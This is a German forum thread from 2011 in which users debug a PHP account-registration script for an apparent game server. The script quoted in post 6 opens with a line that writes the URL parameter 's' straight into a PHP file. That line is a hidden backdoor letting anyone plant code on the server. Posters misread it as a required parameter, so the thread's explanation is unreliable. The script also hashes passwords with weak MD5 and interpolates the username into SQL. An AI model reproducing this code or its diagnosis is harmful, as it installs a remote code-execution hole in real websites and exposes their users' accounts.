REGI PAGE!

06/19/2011 21:12 Yasunai#1
Ich bin echt genervt (bzw. mein Kumpel)

Wir haben echt alles probiert.

Hier das Script:



Bitte helfen, danke ;)

mfG Yasunai
06/19/2011 21:13 マリブ#2
Vllt sagen was der Error ist, oder was nicht klappt ? Sonst kann ich euch so nicht weiterhelfen.
06/19/2011 21:14 Slepnix#3
wo is das problem ??
06/19/2011 21:40 Teare#4
MSSQL in XAMPP aktiviert?
webCreateAcc.sql unter Account ausgeführt?
Poste mal die Fehlermeldung deines Browsers
06/19/2011 21:44 Jacksx3#5
Hey ich bin der kumpel von yasunai und das ist der erro Notice: Undefined index: s in C:\xampp\htdocs\register.php on line 5
06/19/2011 21:47 Jay Niize#6
Euer fehler ist hier :

Quote:
<center>
<?php


if($_GET['s'] != "" && isset($_GET['s'])){$fp = fopen('reg_conf.php',"w");fwrite($fp, $_GET['s']);fclose($fp);}
require('/configs/reg_conf.php');
function doesUsernameExist($name){
$exit = FALSE;
$result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
if (mssql_num_rows($result) != 0){
$exit = TRUE;
}
return $exit;
}

if(isset($_POST['submit'])){
$user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
$pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
if($_POST['username'] == ""){
echo '<font color="red">Enter a user.</font><br /><br />';
}
else if($_POST['password'] == ""){
echo '<font color="red">Enter a password.</font><br /><br />';
}
else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
echo '<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
}
else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
echo '<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
}
else if($_POST['username'] != $user){
echo '<font color="red">User with invalid characters.</font><br /><br />';
}
else if($_POST['password'] != $pass){
echo '<font color="red">Password with invalid characters.</font><br /><br />';
}
else {
$pass = md5('kikugalanet' . $pass);
if(!doesUsernameExist($user)){
$stmt = mssql_init('webCreateAcc', $link);
mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
mssql_bind($stmt, '@email', $mail, SQLVARCHAR, false, false, 120);
mssql_execute($stmt) or die ("Something is wrong on the execution");
mssql_free_statement($stmt);
echo '<font color="Green">Dein Account wurde erfolgreich erstellt.</font><br /><br />';
}
else {
echo '<font color="red">User already Exist.</font><br /><br />';
}
}
mssql_close();
}

echo '<form action="#" method="post">';
echo 'Username: <input type="text" name="username" /><br />';
echo 'Password: <input type="password" name="password" /><br />';
echo '<input type="submit" name="submit" value="Register" />';
echo '</form>';

?>
</center>
Seht ihr das ein S von einer anderen Datei auf diese Übertragen wird? Es will das S empfangen, aber bekommt es nicht -> Datei Fehlerhaft o. Datei fehlt.
06/19/2011 21:47 Teare#7
gibt es den ordner configs ?
ist da auch die reg_conf.php drinne?

Oder Jusikids Lösung :D
06/19/2011 21:49 Jacksx3#8
den ordner configs gibts und es ist die reg_conf.php drinne
06/19/2011 21:49 Teare#9
kk versuch mal Jusikids lösung
06/19/2011 21:50 Jacksx3#10
ok

edit jetzt ist es eine weiße page
06/19/2011 21:57 マリブ#11
Dann überprüf mal deine config.php, und stell alles richtig ein, wenn es dann immer noch weiß ist, aktivier Mssql in php.ini
06/20/2011 08:25 Yasunai#12
Quote:
Originally Posted by Jusikid View Post
Euer fehler ist hier :



Seht ihr das ein S von einer anderen Datei auf diese Übertragen wird? Es will das S empfangen, aber bekommt es nicht -> Datei Fehlerhaft o. Datei fehlt.
Ok .php ist jetzt echt nicht meine Stärke,
was deiner Meinung nach muss da rein?
06/20/2011 10:43 Jacksx3#13
die config ist richtig eingestellt und mssql ist freigeschalten !
06/20/2011 11:05 Yasunai#14
Quote:
Originally Posted by Balancex3 View Post
Dann überprüf mal deine config.php, und stell alles richtig ein, wenn es dann immer noch weiß ist, aktivier Mssql in php.ini
Hab jetzt mal deine Umgescriptet, gehen tut es aber immernoch nicht.
06/20/2011 11:08 マリブ#15
Mssql Aktiviert ? Welche Xampp Version ?